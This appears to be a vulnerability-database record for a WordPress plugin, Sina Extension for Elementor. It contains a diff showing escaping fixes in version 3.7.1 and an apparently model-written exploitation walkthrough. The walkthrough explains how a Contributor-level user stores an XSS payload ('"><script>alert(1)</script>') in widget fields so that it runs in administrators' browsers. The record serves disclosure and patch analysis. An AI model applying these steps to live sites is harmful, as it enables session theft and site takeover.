\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Freadme.txt\t2025-07-10 13:17:42.000000000 +0000\n@@ -5,7 +5,7 @@\n Requires at least: 4.8\r\n Tested up to: 6.8\r\n Requires PHP: 7.0\r\n-Stable tag: 3.7.0\r\n+Stable tag: 3.7.1\r\n License: GPL v3\r\n License URI: https:\u002F\u002Fopensource.org\u002Flicenses\u002FGPL-3.0\r\n \r\n@@ -298,6 +298,15 @@\n \r\n == Changelog ==\r\n \r\n+= 3.7.1 - 10-07-2025 =\r\n+- Fixed: Blogpost escaping issue\r\n+- Fixed: Countdown escaping issue\r\n+- Fixed: Fancytext escaping issue\r\n+- Fixed: Posts escaping issue\r\n+- Fixed: Table escaping issue\r\n+- Fixed: Templates Library issue\r\n+- Fixed: Theme Builder post type issue\r\n+\r\n = 3.7.0 - 17-05-2025 =\r\n - New: Header Builder Feature\r\n - New: Footer Builder Feature\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fsina-extension-for-elementor.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fsina-extension-for-elementor.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fsina-extension-for-elementor.php\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fsina-extension-for-elementor.php\t2025-07-10 13:17:42.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: Sina Extension for Elementor\r\n  * Plugin URI: https:\u002F\u002Fsina-extension.sinaextra.com\u002F\r\n  * Description: A collection of high-quality widgets for Elementor page builder.\r\n- * Version: 3.7.0\r\n+ * Version: 3.7.1\r\n  * Author: SinaExtra\r\n  * Author URI: https:\u002F\u002Fsinaextra.com\u002F\r\n  * Requires Plugins: elementor\r\n@@ -18,8 +18,8 @@\n \texit;\r\n }\r\n \r\n-define('SINA_EXT_VERSION', '3.7.0');\r\n-define('SINA_EXT_PREVIOUS_VERSION', '3.6.1' );\r\n+define('SINA_EXT_VERSION', '3.7.1');\r\n+define('SINA_EXT_PREVIOUS_VERSION', '3.7.0' );\r\n define('SINA_EXT_FILE', __FILE__ );\r\n define('SINA_EXT_SLUG', basename( SINA_EXT_FILE, '.php' ));\r\n define('SINA_EXT_DIR', __DIR__);\r\n@@ -164,12 +164,15 @@\n \t],\r\n ]);\r\n \r\n-add_action('init', function () {\r\n-\tload_plugin_textdomain( 'sina-ext', false, SINA_EXT_DIRNAME.'\u002Flanguages' );\r\n-\r\n+add_action('plugins_loaded', function () {\r\n \trequire SINA_EXT_INC . 'sina-ext-base.php';\r\n \trequire SINA_EXT_INC . 'sina-ext-func.php';\r\n \trequire SINA_EXT_INC . 'sina-ext.php';\r\n+\tSina_Extension::modules();\r\n+});\r\n+\r\n+add_action('init', function () {\r\n+\tload_plugin_textdomain( 'sina-ext', false, SINA_EXT_DIRNAME.'\u002Flanguages' );\r\n \r\n \tSina_Extension::instance();\r\n });\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fwidgets\u002Fadvanced\u002Fsina-blogpost.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fwidgets\u002Fadvanced\u002Fsina-blogpost.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fwidgets\u002Fadvanced\u002Fsina-blogpost.php\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fwidgets\u002Fadvanced\u002Fsina-blogpost.php\t2025-07-10 13:17:42.000000000 +0000\n@@ -2049,7 +2049,7 @@\n \t\t\t\t'is_thumb'=> $data['is_thumb'],\r\n \t\t\t\t'read_more_effect'=> $data['read_more_effect'],\r\n \t\t\t\t'read_more_text'=> esc_attr( $data['read_more_text'] ),\r\n-\t\t\t\t'read_more_icon'=> $data['read_more_icon'],\r\n+\t\t\t\t'read_more_icon'=> esc_attr($data['read_more_icon']),\r\n \t\t\t\t'read_more_icon_align'=> $data['read_more_icon_align'],\r\n \t\t\t\t'effects' => $data['effects'],\r\n \t\t\t\t'cats_position' => $data['cats_position'],\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fwidgets\u002Fbasic\u002Fsina-table.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fwidgets\u002Fbasic\u002Fsina-table.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fwidgets\u002Fbasic\u002Fsina-table.php\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fwidgets\u002Fbasic\u002Fsina-table.php\t2025-07-10 13:17:42.000000000 +0000\n@@ -1612,7 +1612,7 @@\n \r\n \t\t$table_info = [\r\n \t\t\t'head' \t\t=> $table_head,\r\n-\t\t\t'export' \t=> $data['data_export'],\r\n+\t\t\t'export' \t=> esc_attr($data['data_export']),\r\n \t\t\t'ordering' \t=> $data['data_sorting'],\r\n \t\t\t'sort_col' \t=> $data['data_sorting_column'],\r\n \t\t\t'sort_type'\t=> $data['data_sorting_type'],\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fwidgets\u002Ftheme_builder\u002Fsina-posts.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fwidgets\u002Ftheme_builder\u002Fsina-posts.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fwidgets\u002Ftheme_builder\u002Fsina-posts.php\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fwidgets\u002Ftheme_builder\u002Fsina-posts.php\t2025-07-10 13:17:42.000000000 +0000\n@@ -1858,7 +1858,7 @@\n \t\t\t\t'is_thumb' => $data['is_thumb'],\r\n \t\t\t\t'read_more_effect' => $data['read_more_effect'],\r\n \t\t\t\t'read_more_text' => esc_attr( $data['read_more_text'] ),\r\n-\t\t\t\t'read_more_icon' => $data['read_more_icon'],\r\n+\t\t\t\t'read_more_icon' => esc_attr($data['read_more_icon']),\r\n \t\t\t\t'read_more_icon_align' => $data['read_more_icon_align'],\r\n \t\t\t\t'effects' => $data['effects'],\r\n \t\t\t\t'cats_position' => $data['cats_position'],\r\n","To exploit this vulnerability, an attacker requires Contributor-level permissions to access the Elementor editor. 1. The attacker creates or edits a page and adds a 'Fancy Text' or 'Countdown' widget. 2. In the widget configuration, the attacker injects a malicious XSS payload (e.g., \">\u003Cscript>alert(1)\u003C\u002Fscript>) into input fields that are rendered as DOM attributes, such as the 'Suffix' field in the Fancy Text widget or label fields in the Countdown widget. 3. The attacker saves the page, which triggers a request to 'admin-ajax.php' with the 'elementor_ajax' action, storing the payload in the post's '_elementor_data' meta field. 4. When any user (including administrators) views the published page, the unescaped payload executes in their browser context.","gemini-3-flash-preview","2026-04-18 00:17:39","2026-04-18 00:18:01",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","3.7.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsina-extension-for-elementor\u002Ftags\u002F3.7.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsina-extension-for-elementor.3.7.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsina-extension-for-elementor\u002Ftags\u002F3.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsina-extension-for-elementor.3.7.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsina-extension-for-elementor\u002Ftags"]